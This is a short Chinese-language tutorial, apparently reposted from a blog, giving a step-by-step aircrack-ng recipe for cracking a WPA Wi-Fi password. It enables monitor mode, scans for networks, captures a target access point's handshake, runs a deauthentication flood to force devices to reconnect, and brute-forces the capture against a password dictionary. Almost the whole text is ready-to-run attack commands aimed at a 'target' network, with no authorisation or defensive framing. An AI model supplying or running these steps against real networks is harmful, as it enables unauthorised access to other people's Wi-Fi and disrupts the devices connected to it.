需要一个能监听的网卡
airmon-ng start wlan0(監聽網卡)
airmon-ng check kill(清除其他有影响的環境)
airodump-ng mon0 (掃描附近wifi)
airodump-ng --bssid 目標mac -c (目標ch) -w crack(自定义文件名) mon0
接下来就等待hand包
辅助加速：
aireplay-ng --deaut 10(10次) -a 目標mac -c 本機mac mon0 (泛洪攻擊)
aircrack-ng -w /tmp/WPADict.txt crack-01.cap (跑字典,这里的.cap文件是抓到的握手包，前面的是字典)
该攻击要求wifi里面有设备，并且需要一个强大字典和GPU
原文：http://www.cnblogs.com/jjj-fly/p/7228519.html